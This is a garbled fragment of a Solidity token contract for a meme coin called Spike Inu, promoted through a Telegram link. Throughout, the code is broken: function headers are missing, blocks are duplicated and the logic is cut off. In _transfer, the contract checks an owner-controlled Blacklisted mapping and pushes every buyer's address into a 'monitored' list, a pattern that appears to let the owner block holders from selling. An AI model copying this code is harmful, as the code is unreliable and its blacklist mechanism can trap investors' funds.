Blacklist
Blacklist
//SPDX-License-Identifier: MIT
// TG: t.me/SpikeInuOfficial
/**
*/
interface IERC20 {
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
return c;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
return c;
}
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair,
uint);
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external payable;
}
struct BuyFees{
uint256 liquidity;
uint256 marketing;
}
struct SellFees{
uint256 liquidity;
uint256 marketing;
}
constructor () {
balances[_msgSender()] = _tTotal;
buyFee.liquidity = 1;
buyFee.marketing = 6;
sellFee.liquidity = 1;
sellFee.marketing = 6;
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address _uniswapV2Pair =
IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),
_uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
liquidityReceiver = msg.sender;
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(this)] = true;
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!Blacklisted[from]);
balances[from] -= amount;
uint256 transferAmount = amount;
bool takeFee;
if(takeFee){
if(to != uniswapV2Pair){
monitored.push(to);
require(amount <= _maxTxAmount, "Transfer Amount exceeds the
maxTxAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer
amount exceeds the maxWalletAmount.");
require (_lastBuy[to] + _buyCooldown < block.timestamp, "Must wait
til after coooldown to buy");
_lastBuy[to] = block.timestamp;
transferAmount = takeBuyFees(amount, from);
}
if(from != uniswapV2Pair){
require(amount <= _maxTxAmount, "Transfer Amount exceeds the
maxTxAmount");
transferAmount = takeSellFees(amount, from);
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance;
uint256 ethForLiquidity =
ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
addLiquidity(tokensForLiquidity, ethForLiquidity);
payable(marketingWallet).transfer(address(this).balance);
}
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}